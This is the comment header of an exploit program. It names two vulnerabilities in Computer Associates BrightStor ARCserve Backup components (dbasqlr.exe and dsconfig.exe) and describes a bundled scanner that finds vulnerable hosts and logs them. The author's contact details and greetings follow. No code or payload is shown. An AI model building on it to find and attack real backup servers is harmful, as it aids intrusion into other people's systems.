* exploit by : cybertronic
*
* cybertronic[at]gmx[dot]net
*
* This exploits the following vulnerabilities:
*
* Computer Associates BrightStor ARCserve Backup Agent for SQL - dbasqlr.exe
* Computer Associates BrightStor ARCserve Backup Discovery Service - dsconfig.exe
*
* I included a vulnerability scanner, that scans for the bugs mentioned above
* and logs to "scan.log" in working directory.
* You have to adjust the timeout, it works fine on my network with
* usec = 10000: ~10 hosts / sec
*
* some greetz fly to:
* HD Moore - I`ll pay you some drinks, you know what they are for;)
